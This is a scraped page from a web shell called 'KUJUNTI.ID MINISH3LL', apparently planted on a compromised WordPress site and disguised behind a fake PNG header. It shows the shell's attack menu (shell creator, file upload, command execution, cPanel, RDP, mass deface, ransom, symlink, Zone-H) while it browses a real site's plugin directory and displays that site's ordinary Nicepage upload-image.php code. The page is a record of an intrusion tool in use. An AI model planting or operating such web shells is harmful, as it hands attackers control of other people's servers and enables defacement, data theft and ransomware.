\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/ofissantral/wp-content/plugins/nicepage/editor/actions/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/ofissantral/wp-content/plugins/nicepage/editor/actions/upload-image.php


<?php
defined('ABSPATH') or die;

class NpUploadImageAction extends NpAction {

    /**
     * Process action entrypoint
     *
     * @return array
     */
    public static function process() {

        if (!current_user_can('upload_files')) {
            return array(
                'status' => 'error',
                'type' => 'UploadImage',
                'message' => 'You do not have permissions to upload files. Please contact your server administrator',
            );
        }

        if (!isset($_POST['html-upload']) || empty($_FILES)) {
            return array(
                'status' => 'error',
                'type' => 'UploadImage',
                'message' => 'Invalid parameters',
            );
        }

        $post_id = 0;
        if (isset($_REQUEST['pageId'])) {
            $post_id = absint($_REQUEST['pageId']);
            if (!get_post($post_id) || !current_user_can('edit_post', $post_id)) {
                $post_id = 0;
            }
        }

        check_admin_referer('media-form');

        $upload_id = media_handle_upload('async-upload', $post_id);

        if (is_wp_error($upload_id)) {
            $error_message = $upload_id->get_error_message();
            $max_size_limit = stripos($error_message, 'upload_max_filesize');
            if ($max_size_limit) {
                return array(
                    'status' => 'error',
                    'type' => 'UploadImage',
                    'message' => 'The file size exceeds the maximum upload file size. Increase upload_max_filesize in php.ini or contact your server administrator.',
                );
            } else {
                return array(
                    'status' => 'error',
                    'type' => 'UploadImageCmsError',
                    'message' => $upload_id->get_error_message(),
                );
            }
        }

        return array(
            'status' => 'done',
            'image' => NpBuilderSerializer::serializeImageAttachment(get_post($upload_id)),
        );
    }
}
NpAction::add('np_upload_image', 'NpUploadImageAction');

© KUJUNTI.ID